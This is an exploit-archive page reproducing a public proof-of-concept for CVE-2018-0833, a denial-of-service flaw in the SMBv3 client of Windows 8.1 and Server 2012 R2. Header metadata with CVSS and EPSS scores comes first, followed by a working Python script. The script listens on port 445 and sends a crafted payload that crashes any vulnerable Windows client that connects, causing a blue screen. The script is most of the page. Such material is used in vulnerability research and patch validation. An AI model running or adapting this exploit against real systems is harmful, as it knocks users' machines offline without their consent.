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Microsoft Windows Windows 8.1/2012 R2 SMB Denial of Service

CVE Category Price Severity
CVE-2018-0833 CWE-400 Not specified High
Author Risk Exploitation Type Date
Anonymous High Remote 2018-02-28
CPE
cpe:cpe:/o:microsoft:windows_8.1::update
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018020307

Below is a copy:

Microsoft Windows Windows 8.1/2012 R2 SMB Denial of Service
# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833

import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()

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